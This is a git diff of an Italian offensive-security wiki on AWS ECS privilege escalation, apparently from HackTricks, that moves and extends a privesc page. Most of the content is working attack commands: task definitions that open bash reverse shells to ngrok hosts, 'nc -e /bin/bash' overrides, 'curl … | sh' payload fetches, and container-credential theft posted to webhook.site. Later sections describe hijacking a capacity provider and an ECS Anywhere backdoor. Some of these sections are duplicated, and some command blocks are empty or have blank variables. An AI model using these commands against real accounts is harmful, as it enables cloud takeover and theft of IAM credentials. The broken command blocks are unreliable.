-"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
-"mountPoints": [
-{
-"readOnly": false,
-"containerPath": "/var/run/docker.sock",
-"sourceVolume": "docker-socket"
-}
-]
-}
-]' > /tmp/task.json
-
-printf '[
-{
-"name": "docker-socket",
-"host": {
-"sourcePath": "/var/run/docker.sock"
-}
-}
-]' > /tmp/volumes.json
-
-
-aws ecs register-task-definition --family iam_exfiltration \
---cpu 256 --memory 512 \
---requires-compatibilities '["EC2"]' \
---container-definitions file:///tmp/task.json \
---volumes file:///tmp/volumes.json
-
-
-aws ecs run-task --task-definition iam_exfiltration \
---cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
---launch-type EC2
-
-# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
-```
-### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
-
-Un attacker con i permessi **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** può **eseguire comandi** all'interno di un container in esecuzione ed esfiltrare l'IAM role ad esso associato (è necessario il permesso di describe perché è richiesto per eseguire `aws ecs execute-command`).\
-Tuttavia, per farlo, l'istanza del container deve eseguire l'**ExecuteCommand agent** (che di default non lo fa).
-
-Pertanto, l'attacker potrebbe provare a:
-
-- **Provare a eseguire un comando** in ogni container in esecuzione
-```bash
-# List enableExecuteCommand on each task
-for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
-echo "Cluster $cluster"
-for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
-echo "  Task $task"
-# If true, it's your lucky day
-aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
-done
-done
-
-# Execute a shell in a container
-aws ecs execute-command --interactive \
---command "sh" \
---cluster "$CLUSTER_ARN" \
---task "$TASK_ARN"
-```
-- Se ha **`ecs:RunTask`**, eseguire un task con `aws ecs run-task --enable-execute-command [...]`
-- Se ha **`ecs:StartTask`**, eseguire un task con `aws ecs start-task --enable-execute-command [...]`
-- Se ha **`ecs:CreateService`**, creare un service con `aws ecs create-service --enable-execute-command [...]`
-- Se ha **`ecs:UpdateService`**, aggiornare un service con `aws ecs update-service --enable-execute-command [...]`
-
-Puoi trovare **esempi di queste opzioni** nelle **precedenti sezioni ECS privesc**.
-
-**Potenziale impatto:** Privesc a un ruolo diverso associato ai container.
-
-### `ssm:StartSession`
-
-Consulta la **ssm privesc page** per vedere come puoi abusare di questo permesso per **privesc to ECS**:
-
-{{#ref}}
-aws-ssm-privesc.md
-{{#endref}}
-
-### `iam:PassRole`, `ec2:RunInstances`
-
-Consulta la **ec2 privesc page** per vedere come puoi abusare di questi permessi per **privesc to ECS**:
-
-{{#ref}}
-aws-ec2-privesc.md
-{{#endref}}
-
-### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
-
-Un attacker con questi permessi potrebbe potenzialmente registrare un'istanza EC2 in un cluster ECS ed eseguire task su di essa. Questo potrebbe permettere all'attacker di eseguire codice arbitrario nel contesto dei task ECS.
-
-- TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker??
-
-### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
-
-> [!NOTE]
-> TODO: Test this
-
-Un attacker con i permessi `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, e `ecs:DescribeTaskSets` può **creare un task set malevolo per un servizio ECS esistente e aggiornare il primary task set**. Questo consente all'attacker di **eseguire codice arbitrario all'interno del servizio**.
-```bash
-# Register a task definition with a reverse shell
-echo '{
-"family": "malicious-task",
-"containerDefinitions": [
-{
-"name": "malicious-container",
-"image": "alpine",
-"command": [
-"sh",
-"-c",
-"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
-]
-}
-]
-}' > malicious-task-definition.json
-
-aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
-
-# Create a malicious task set for the existing service
-aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
-
-# Update the primary task set for the service
-aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
-```
-**Impatto potenziale**: Eseguire codice arbitrario nel servizio interessato, potenzialmente compromettendone la funzionalità o esfiltrando dati sensibili.
-
-## Riferimenti
-
-- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
new file mode 100644
index 000000000..6dddc3abc
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
@@ -0,0 +1,551 @@
+# AWS - ECS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+Maggiori **informazioni su ECS** in:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
+
+Un attaccante che abusa del permesso `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` in ECS può **generare una nuova task definition** con un **container malevolo** che ruba le credenziali dei metadata e **eseguirla**.
+
+{{#tabs }}
+{{#tab name="Reverse Shell" }}
+```bash
+# Generate task definition with rev shell
+aws ecs register-task-definition --family iam_exfiltration \
+--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
+--network-mode "awsvpc" \
+--cpu 256 --memory 512\
+--requires-compatibilities "[\"FARGATE\"]" \
+--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
+
+# Run task definition
+aws ecs run-task --task-definition iam_exfiltration \
+--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
+--launch-type FARGATE \
+--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
+
+# Delete task definition
+## You need to remove all the versions (:1 is enough if you just created one)
+aws ecs deregister-task-definition --task-definition iam_exfiltration:1
+```
+{{#endtab }}
+
+{{#tab name="Webhook" }}
+
+Crea un webhook con un sito come webhook.site
+```bash
+
+# Create file container-definition.json
+[
+{
+"name": "exfil_creds",
+"image": "python:latest",
+"entryPoint": ["sh", "-c"],
+"command": [
+"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
+]
+}
+]
+
+# Run task definition, uploading the .json file
+aws ecs register-task-definition \
+--family iam_exfiltration \
+--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
+--network-mode "awsvpc" \
+--cpu 256 \
+--memory 512 \
+--requires-compatibilities FARGATE \
+--container-definitions file://container-definition.json
+
+# Check the webhook for a response
+
+# Delete task definition
+## You need to remove all the versions (:1 is enough if you just created one)
+aws ecs deregister-task-definition --task-definition iam_exfiltration:1
+
+```
+{{#endtab }}
+
+{{#endtabs }}
+
+**Impatto potenziale:** Privesc diretto a un diverso ECS role.
+
+### `iam:PassRole`,`ecs:RunTask`
+Un attacker che dispone dei permessi `iam:PassRole` e `ecs:RunTask` può avviare un nuovo task ECS con valori modificati per il **ruolo di esecuzione**, il **ruolo del task** e il **comando** del container. Il comando CLI `ecs run-task` contiene il flag `--overrides` che permette di cambiare a runtime `executionRoleArn`, `taskRoleArn` e il `command` del container senza toccare la task definition.
+
+I ruoli IAM specificati in `taskRoleArn` e `executionRoleArn` devono permettere di essere assunti da `ecs-tasks.amazonaws.com` nella loro trust policy.
+
+Inoltre, l'attacker deve conoscere:
+- ECS cluster name
+- VPC Subnet
+- Security group (Se non viene specificato alcun security group verrà utilizzato quello predefinito)
+- Task Definition Name and revision
+- Nome del container
+```bash
+aws ecs run-task \
+--cluster <cluster-name> \
+--launch-type FARGATE \
+--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
+--task-definition <task-definition:revision> \
+--overrides '
+{
+"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+"containerOverrides": [
+{
+"name": <container-name>,
+"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
+}
+]
+}'
+```
+Nel frammento di codice sopra un attacker sovrascrive solo il valore `taskRoleArn`. Tuttavia, l'attacker deve avere il permesso `iam:PassRole` sul `taskRoleArn` specificato nel comando e sul `executionRoleArn` specificato nella task definition perché l'attacco possa avvenire.
+
+Se l'IAM role che l'attacker può passare ha privilegi sufficienti per scaricare un'immagine ECR e avviare il task ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) allora l'attacker può specificare lo stesso IAM role sia per `executionRoleArn` che per `taskRoleArn` nel comando `ecs run-task`.
+```sh
+aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
+{
+"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+"containerOverrides": [
+{
+"name": "<container-name>",
+"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
+}
+]
+}'
+```
+**Impatto potenziale:** Privesc diretto a qualsiasi ECS task role.
+
+### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
+
+Proprio come nell'esempio precedente, un attaccante che abusa dei permessi **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** in ECS può **generare un nuovo task definition** con un **container malevolo** che ruba le credenziali dai metadata e **eseguirlo**.\
+Tuttavia, in questo caso, è necessario che esista una container instance su cui eseguire il task definition malevolo.
+```bash
+# Generate task definition with rev shell
+aws ecs register-task-definition --family iam_exfiltration \
+--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
+--network-mode "awsvpc" \
+--cpu 256 --memory 512\
+--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
+
+aws ecs start-task --task-definition iam_exfiltration \
+--container-instances <instance_id>
+
+# Delete task definition
+## You need to remove all the versions (:1 is enough if you just created one)
+aws ecs deregister-task-definition --task-definition iam_exfiltration:1
+```
+**Impatto potenziale:** Privesc diretto a qualsiasi ruolo ECS.
+
+### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` 
+
+Proprio come nell'esempio precedente, un attaccante che sfrutta i permessi **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** o **`ecs:CreateService`** in ECS può **generare una nuova task definition** con un **malicious container** che ruba le credenziali dei metadati e **eseguirla creando un nuovo service con almeno 1 task in esecuzione.**
+```bash
+# Generate task definition with rev shell
+aws ecs register-task-definition --family iam_exfiltration \
+--task-role-arn  "$ECS_ROLE_ARN" \
+--network-mode "awsvpc" \
+--cpu 256 --memory 512\
+--requires-compatibilities "[\"FARGATE\"]" \
+--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
+
+# Run the task creating a service
+aws ecs create-service --service-name exfiltration \
+--task-definition iam_exfiltration \
+--desired-count 1 \
+--cluster "$CLUSTER_ARN" \
+--launch-type FARGATE \
+--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
+
+# Run the task updating a service
+aws ecs update-service --cluster <CLUSTER NAME> \
+--service <SERVICE NAME> \
+--task-definition <NEW TASK DEFINITION NAME>
+```
+**Potenziale Impatto:** privesc diretto a qualsiasi ruolo ECS.
+
+### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
+
+
+In realtà, solo con quelle autorizzazioni è possibile usare gli overrides per eseguire comandi arbitrari in un container con un ruolo arbitrario con qualcosa del tipo:
+```bash
+aws ecs run-task \
+--task-definition "<task-name>" \
+--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
+--cluster <cluster-name> \
+--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
+```
+**Impatto potenziale:** privesc diretto a qualsiasi ECS role.
+
+### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
+
+Questo scenario è simile ai precedenti ma **senza** il permesso **`iam:PassRole`**.\
+Rimane comunque interessante perché, se puoi eseguire un container arbitrario, anche senza un role, potresti **eseguire un privileged container per evadere** verso il nodo e **rubare l'EC2 IAM role** e le **altre ECS containers roles** in esecuzione sul nodo.\
+Potresti persino **forzare altri task a essere eseguiti all'interno dell'istanza EC2** che comprometti per rubare le loro credenziali (come discusso nella [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).
+
+> [!WARNING]
+> Questo attacco è possibile solo se il **ECS cluster sta usando EC2** e non Fargate.
+```bash
+printf '[
+{
+"name":"exfil_creds",
+"image":"python:latest",
+"entryPoint":["sh", "-c"],
+"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
+"mountPoints": [
+{
+"readOnly": false,
+"containerPath": "/var/run/docker.sock",
+"sourceVolume": "docker-socket"
+}
+]
+}
+]' > /tmp/task.json
+
+printf '[
+{
+"name": "docker-socket",
+"host": {
+"sourcePath": "/var/run/docker.sock"
+}
+}
+]' > /tmp/volumes.json
+
+
+aws ecs register-task-definition --family iam_exfiltration \
+--cpu 256 --memory 512 \
+--requires-compatibilities '["EC2"]' \
+--container-definitions file:///tmp/task.json \
+--volumes file:///tmp/volumes.json
+
+
+aws ecs run-task --task-definition iam_exfiltration \
+--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
+--launch-type EC2
+
+# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
+```
+### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
+
+Un attacker con le **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** può **execute commands** all'interno di un container in esecuzione e esfiltrare l'IAM role ad esso collegato (servono le describe permissions perché sono necessarie per eseguire `aws ecs execute-command`).\
+Tuttavia, per farlo, l'istanza del container deve avere in esecuzione il **ExecuteCommand agent** (che di default non lo fa).
+
+Pertanto, l'attacker potrebbe provare a:
+
+- **Try to run a command** in ogni container in esecuzione
+```bash
+# List enableExecuteCommand on each task
+for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
+echo "Cluster $cluster"
+for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
+echo "  Task $task"
+# If true, it's your lucky day
+aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
+done
+done
+
+# Execute a shell in a container
+aws ecs execute-command --interactive \
+--command "sh" \
+--cluster "$CLUSTER_ARN" \
+--task "$TASK_ARN"
+```
+- Se ha **`ecs:RunTask`**, esegui un task con `aws ecs run-task --enable-execute-command [...]`
+- Se ha **`ecs:StartTask`**, esegui un task con `aws ecs start-task --enable-execute-command [...]`
+- Se ha **`ecs:CreateService`**, crea un service con `aws ecs create-service --enable-execute-command [...]`
+- Se ha **`ecs:UpdateService`**, aggiorna un service con `aws ecs update-service --enable-execute-command [...]`
+
+Puoi trovare **esempi di queste opzioni** nelle **precedenti sezioni di ECS privesc**.
+
+**Potential Impact:** Privesc a un ruolo diverso associato ai container.
+
+### `ssm:StartSession`
+
+Controlla nella **pagina ssm privesc** come puoi abusare di questo permesso per **privesc a ECS**:
+
+{{#ref}}
+../aws-ssm-privesc/README.md
+{{#endref}}
+
+### `iam:PassRole`, `ec2:RunInstances`
+
+Controlla nella **pagina ec2 privesc** come puoi abusare di questi permessi per **privesc a ECS**:
+
+{{#ref}}
+../aws-ec2-privesc/README.md
+{{#endref}}
+
+### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
+
+Un attacker con questi permessi potrebbe potenzialmente registrare un'istanza EC2 in un cluster ECS ed eseguire task su di essa. Questo potrebbe permettere all'attacker di eseguire codice arbitrario nel contesto dei task ECS.
+
+- TODO: È possibile registrare un'istanza da un altro account AWS in modo che i task vengano eseguiti su macchine controllate dall'attacker??
+
+### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
+
+> [!NOTE]
+> TODO: Testare questo
+
+Un attacker con i permessi `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, e `ecs:DescribeTaskSets` può **creare un task set malevolo per un servizio ECS esistente e aggiornare il primary task set**. Questo permette all'attacker di **eseguire codice arbitrario all'interno del servizio**.
+```bash
+# Register a task definition with a reverse shell
+echo '{
+"family": "malicious-task",
+"containerDefinitions": [
+{
+"name": "malicious-container",
+"image": "alpine",
+"command": [
+"sh",
+"-c",
+"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
+]
+}
+]
+}' > malicious-task-definition.json
+
+aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
+
+# Create a malicious task set for the existing service
+aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
+
+# Update the primary task set for the service
+aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
+```
+**Potential Impact**: Eseguire codice arbitrario nel servizio interessato, impattandone la funzionalità o esfiltrando dati sensibili.
+
+## References
+
+- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
+
+Un attaccante con permessi per gestire gli ECS capacity providers e aggiornare i servizi può creare un EC2 Auto Scaling Group sotto il suo controllo, inserirlo in un ECS Capacity Provider, associarlo al cluster target e migrare un servizio vittima per usare questo provider. I task verranno quindi schedulati sulle istanze EC2 controllate dall'attaccante, consentendo accesso a livello OS per ispezionare i container e rubare le credenziali del task role.
+
+Comandi (us-east-1):
+
+- Prerequisiti
+
+
+
+- Create Launch Template for ECS agent to join target cluster
+
+
+
+- Create Auto Scaling Group
+
+
+
+- Create Capacity Provider from the ASG
+
+
+
+- Associate the Capacity Provider to the cluster (optionally as default)
+
+
+
+- Migrate a service to your provider
+
+
+
+- Verify tasks land on attacker instances
+
+
+
+- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.
+
+- Cleanup
+
+
+
+**Potential Impact:** Attacker-controlled EC2 nodes receive victim tasks, enabling OS-level access to containers and theft of task IAM role credentials.
+
+
+<details>
+<summary>Comandi passo-passo (copia/incolla)</summary>
+<pre>
+export AWS_DEFAULT_REGION=us-east-1
+CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
+# Instance profile for ECS nodes
+aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
+aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
+aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
+aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true
+
+VPC=vpc-18e6ac62
+SUBNETS=
+
+AMI=ami-0b570770164588ab4
+USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo=
+LT_ID=
+
+ASG_ARN=
+
+CP_NAME=htcp-8797
+aws ecs create-capacity-provider --name  --auto-scaling-group-provider "autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED"
+aws ecs put-cluster-capacity-providers --cluster "" --capacity-providers  --default-capacity-provider-strategy capacityProvider=,weight=1
+
+SVC=
+# Task definition must be EC2-compatible (not Fargate-only)
+aws ecs update-service --cluster "" --service "" --capacity-provider-strategy capacityProvider=,weight=1 --force-new-deployment
+
+TASK=
+CI=
+aws ecs describe-container-instances --cluster "" --container-instances "" --query containerInstances[0].ec2InstanceId --output text
+</pre>
+</details>
+
+### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
+
+Abuse ECS Anywhere per registrare un host controllato dall'attaccante come EXTERNAL container instance in un cluster ECS vittima ed eseguire task su quell'host usando task e execution roles privilegiati. Questo garantisce controllo a livello OS su dove i task vengono eseguiti (la tua macchina) e permette il furto di credenziali/dati dai task e dai volumi collegati senza toccare capacity providers o ASG.
+
+- Permessi richiesti (esempio minimo):
+- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
+- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
+- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (per il role instance di ECS Anywhere e per i ruoli task/execution)
+- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)
+
+- Impact: Eseguire container arbitrari con taskRoleArn scelto sull'host dell'attaccante; esfiltrare le credenziali del task-role da 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; accedere a eventuali volumi montati dai task; più furtivo rispetto alla manipolazione di capacity providers/ASGs.
+
+Steps
+
+1) Create/identify cluster (us-east-1)
+```bash
+aws ecs create-cluster --cluster-name ht-ecs-anywhere
+```
+2) Crea ruolo ECS Anywhere e attivazione SSM (per on-prem/EXTERNAL instance)
+```bash
+aws iam create-role --role-name ecsAnywhereRole \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
+aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
+ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
+ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
+```
+3) Provisiona un host attacker e registralo automaticamente come EXTERNAL (esempio: piccolo AL2 EC2 come “on‑prem”)
+
+<details>
+<summary>user-data.sh</summary>
+```bash
+#!/bin/bash
+set -euxo pipefail
+amazon-linux-extras enable docker || true
+yum install -y docker curl jq
+systemctl enable --now docker
+curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh"
+chmod +x /root/ecs-anywhere-install.sh
+/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1
+```
+</details>
+```bash
+AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text)
+IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
+--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
+aws ec2 wait instance-status-ok --instance-ids $IID
+```
+4) Verificare che l'EXTERNAL container instance si sia unita
+```bash
+aws ecs list-container-instances --cluster ht-ecs-anywhere
+aws ecs describe-container-instances --cluster ht-ecs-anywhere \
+--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
+# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
+```
+5) Creare task/execution roles, registrare EXTERNAL task definition e avviarla sull'attacker host
+```bash
+# roles
+aws iam create-role --role-name ht-ecs-task-exec \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy
+aws iam create-role --role-name ht-ecs-task-role \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+# attach any privileges you want to abuse to this task role
+
+# task def (EXTERNAL launch)
+cat > td-external.json << 'JSON'
+{
+"family": "ht-external",
+"requiresCompatibilities": [ "EXTERNAL" ],
+"networkMode": "bridge",
+"memory": "256",
+"cpu": "128",
+"executionRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-exec",
+"taskRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-role",
+"containerDefinitions": [
+{"name":"steal","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
+"entryPoint":["/bin/sh","-c"],
+"command":["REL=\$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2\$REL; sleep 600"],
+"memory": 128,
+"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/anywhere","awslogs-stream-prefix":"steal"}}
+}
+]
+}
+JSON
+aws logs create-log-group --log-group-name /ht/ecs/anywhere || true
+aws ecs register-task-definition --cli-input-json file://td-external.json
+CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'containerInstanceArns[0]' --output text)
+aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
+--container-instances $CI
+```
+6) Da qui controlli l'host che esegue le tasks. Puoi leggere i log delle tasks (se awslogs) o eseguire direttamente exec sull'host per esfiltrare credenziali/dati dalle tue tasks.
+
+
+
+#### Esempio di comando (segnaposto)
+
+
+
+
+### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
+
+Un attacker con permessi per gestire gli ECS capacity providers e aggiornare i services può creare un EC2 Auto Scaling Group sotto il suo controllo, incapsularlo in un ECS Capacity Provider, associarlo al cluster target e migrare un servizio vittima per usare questo provider. Le tasks verranno quindi schedulate su istanze EC2 controllate dall'attacker, consentendo accesso a livello OS per ispezionare i containers e rubare le task role credentials.
+
+Commands (us-east-1):
+
+- Prerequisiti
+
+
+
+- Crea Launch Template affinché l'ECS agent si unisca al target cluster
+
+
+
+- Crea Auto Scaling Group
+
+
+
+- Crea Capacity Provider dall'ASG
+
+
+
+- Associa il Capacity Provider al cluster (opzionalmente come default)
+
+
+
+- Migra un service al tuo provider
+
+
+
+- Verifica che le tasks finiscano sulle istanze dell'attacker
+
+
+
+- Opzionale: dalla EC2 node, esegui docker exec nei container target e leggi http://169.254.170.2 per ottenere le task role credentials.
+
+- Cleanup
+
+
+
+**Impatto potenziale:** Le EC2 node controllate dall'attacker ricevono le tasks vittima, consentendo accesso a livello OS ai containers e il furto delle task IAM role credentials.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
deleted file mode 100644
index 3eb3355dd..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
+++ /dev/null
@@ -1,86 +0,0 @@
-# AWS - EFS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-Ulteriori **info su EFS** in:
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-Ricorda che per montare un EFS devi essere in una sottorete in cui l'EFS è esposto e avere accesso ad esso (gruppi di sicurezza). Se ciò accade, per impostazione predefinita, sarai sempre in grado di montarlo, tuttavia, se è protetto da politiche IAM, devi avere le autorizzazioni aggiuntive menzionate qui per accedervi.
-
-### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`
-
